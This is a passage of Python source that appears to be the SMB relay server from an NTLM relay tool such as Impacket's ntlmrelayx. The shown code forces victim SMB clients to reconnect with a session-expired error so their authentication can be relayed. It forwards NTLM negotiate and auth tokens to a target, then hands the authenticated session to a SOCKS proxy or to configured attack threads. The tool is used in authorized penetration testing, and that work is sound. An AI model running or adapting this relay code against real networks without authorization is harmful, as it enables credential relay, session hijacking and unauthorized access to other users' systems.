733 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) 

734 respParameters = smb.SMBTreeConnectAndXResponse_Parameters() 

735 respData = smb.SMBTreeConnectAndXResponse_Data() 

736 

737 treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) 

738 

739 if treeConnectAndXParameters['Flags'] & 0x8: 

740 respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() 

741 

742 treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) 

743 treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] 

744 treeConnectAndXData.fromString(SMBCommand['Data']) 

745 

746 ## Process here the request, does the share exist? 

747 UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) 

748 

749 # Is this a UNC? 

750 if ntpath.ismount(UNCOrShare): 

751 path = UNCOrShare.split('\\')[3] 

752 else: 

753 path = ntpath.basename(UNCOrShare) 

754 

755 # This is the key, force the client to reconnect. 

756 # It will loop until all targets are processed for this user 

757 errorCode = STATUS_NETWORK_SESSION_EXPIRED 

758 resp['ErrorCode'] = errorCode >> 16 

759 resp['_reserved'] = 0o3 

760 resp['ErrorClass'] = errorCode & 0xff 

761 

762 if path == 'IPC$': 

763 respData['Service'] = 'IPC' 

764 else: 

765 respData['Service'] = path 

766 respData['PadLen'] = 0 

767 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ) 

768 

769 respSMBCommand['Parameters'] = respParameters 

770 respSMBCommand['Data'] = respData 

771 

772 resp['Uid'] = connData['Uid'] 

773 resp.addCommand(respSMBCommand) 

774 smbServer.setConnectionData(connId, connData) 

775 

776 return None, [resp], errorCode 

777 ################################################################################ 

778 

779 #Initialize the correct client for the relay target 

780 def init_client(self,extSec): 

781 if self.target.scheme.upper() in self.config.protocolClients: 

782 client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec) 

783 client.initConnection() 

784 else: 

785 raise Exception('Protocol Client for %s not found!' % self.target.scheme) 

786 

787 

788 return client 

789 

790 def do_ntlm_negotiate(self,client,token): 

791 #Since the clients all support the same operations there is no target protocol specific code needed for now 

792 return client.sendNegotiate(token) 

793 

794 def do_ntlm_auth(self,client,SPNEGO_token,challenge): 

795 #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB 

796 clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge) 

797 

798 return clientResponse, errorCode 

799 

800 def do_attack(self,client): 

801 #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties 

802 # Check if SOCKS is enabled and if we support the target scheme 

803 if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes: 

804 if self.config.runSocks is True: 

805 # Pass all the data to the socksplugins proxy 

806 activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(), 

807 self.authUser, client, client.sessionData)) 

808 return 

809 

810 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks 

811 if self.target.scheme.upper() in self.config.attacks: 

812 # We have an attack.. go for it 

813 clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser) 

814 clientThread.start() 

815 else: 

816 LOG.error('No attack configured for %s' % self.target.scheme.upper()) 

817 

818 def _start(self): 

819 self.server.daemon_threads=True 

820 self.server.serve_forever() 

821 LOG.info('Shutting down SMB Server') 

822 self.server.server_close() 

823 

824 def run(self): 

825 LOG.info("Setting up SMB Server") 

826 self._start() 

827